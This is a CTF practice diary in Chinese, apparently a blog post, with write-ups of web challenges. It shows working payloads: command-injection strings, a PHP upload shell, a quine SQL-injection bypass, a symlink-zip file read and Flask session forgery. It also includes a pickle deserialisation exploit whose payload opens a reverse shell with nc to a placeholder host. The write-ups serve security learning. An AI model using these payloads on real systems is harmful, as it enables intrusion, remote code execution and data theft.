刷题日记 date 6.6

NSSCTF刷题

[HNCTF 2022 Week1]easy_upload

1.添加文件头绕过waf,上传密码为0的shell。
2.过滤system,换成echo+反引号执行命令即可,post执行

0=echo `cat /f*`;

[UUCTF 2022 新生赛]ez_rce

1.过滤了echo,没过滤print,一样能执行,命令过滤用正则或者斜杠绕过都行。

?code=print(`/bin/[b-d]at /fffffffffflagafag `);

[NSSRound#7 Team]ec_RCE

1.引号闭合,直接执行代码读取flag:action=;cat /f*;

[HDCTF 2023]LoginMaster

前面题太基础了,于是挑着做
1.进去后发现只有个登陆框,注册功能是失效的。进入robots.txt发现题目源码。

function checkSql($s) 
{
    if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
        alertMes('hacker', 'index.php');
    }
}
if ($row['password'] === $password) {
        die($FLAG);
    } else {
    alertMes("wrong password",'index.php');

2.需要让查询到的密码和输入的密码相等,waf过滤了很多字符,这段代码很明显就是和之前几道题相似,直接一眼quine注入。掏出很久以前写的文档,找到payload,直接输入用户名admin,密码payload就行。

payload:
1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")/**/as/**/password#',char(34),char(39)),char(46),'1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")/**/as/**/password#')/**/as/**/password#

BUUCTF刷题

[SWPU2019]Web3

1.进入后是个登陆框,随便输入即可登陆,但是upload功能被拒绝了,说是权限不足。f12查看session,用脚本解密,发现权限是1000。

2.这个和linux的权限管理有点类似,最高权限root是1,我们需要将1000修改为1,那就需要找到密钥key。扫了一波目录无果,想去404页面找ssti注入的,结果在响应包发现了base64加密的key:SECRET_KEY:keyqqqwwweee!@#$%^&*

3.拿key生成session,F12替换访问upload,进去后是个文件上传的界面。F12查看源码发现了这段功能代码,也是将上传文件解压到hash生成的目录中,其中的/getflag路由则是记载了flag的存放位置是./flag/flag.jpg

4.一般涉及到python文件上传的基本都是软链接,这题也不例外。当我们上传文件到目录后,会自动访问解压出的文件,我们只需要将文件链接到flag.jpg中即可。由于不知道当前的工作目录,可以使用/proc目录下的/proc/self/cwd/目录,该目录也是一个软链接目录,链接到当前工作目录的。

5.先在linux用命令创建软链接文件ln -s /proc/self/cwd/flag/flag.jpg 2,将其压缩为zipzip --symlinks t.zip 2。最后抓包上传,重发即可在响应包内读取flag。

[HFCTF 2021 Final]easyflask

1.进入file?file=/app/source查看源码,发现/admin路由会pickle.loads(u),很明显的picke序列化。

@app.route('/admin', methods=('GET',))
def admin_handler():
    try:
        u = session.get('u')
        if isinstance(u, dict):
            u = b64decode(u.get('b'))
        u = pickle.loads(u)
    except Exception:
        return 'uhh?'

    if u.is_admin == 1:
        return 'welcome, admin'
    else:
        return 'who are you?'

2.那么就必须要伪造session了,首先查找密钥,读取/proc/self/environ文件发现密钥secret_key=glzjin22948575858jfjfjufirijidjitg3uiiuuh

3.首先先生成反弹shell的payload,然后将其添加到u的b列表中,因为需要先经过base解码。

class cmd():
    def __reduce__(self):
        return (eval,("__import__('os').popen('nc x.x.x.x 2333 -e /bin/sh').read()",))

c = cmd()
c = pickle.dumps(c)
print(base64.b64encode(c))

4.将其加入反弹shell,但是报500错误,而且也没反弹成功。刚开始以为是我的exp有问题,然后又找了网上几个wp的反弹shell也是失效,那么很可能的原因就是靶机没出网,直接将payload替换为命令执行,将读取的flag写入/tmp目录下。

class cmd():
    def __reduce__(self):
        return (eval,("__import__('os').popen('cat /flag > /tmp/yyds').read()",))

c = cmd()
c = pickle.dumps(c)
print(base64.b64encode(c))

5.任意文件读取/file?file=/tmp/yyds,成功读取写入的flag。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值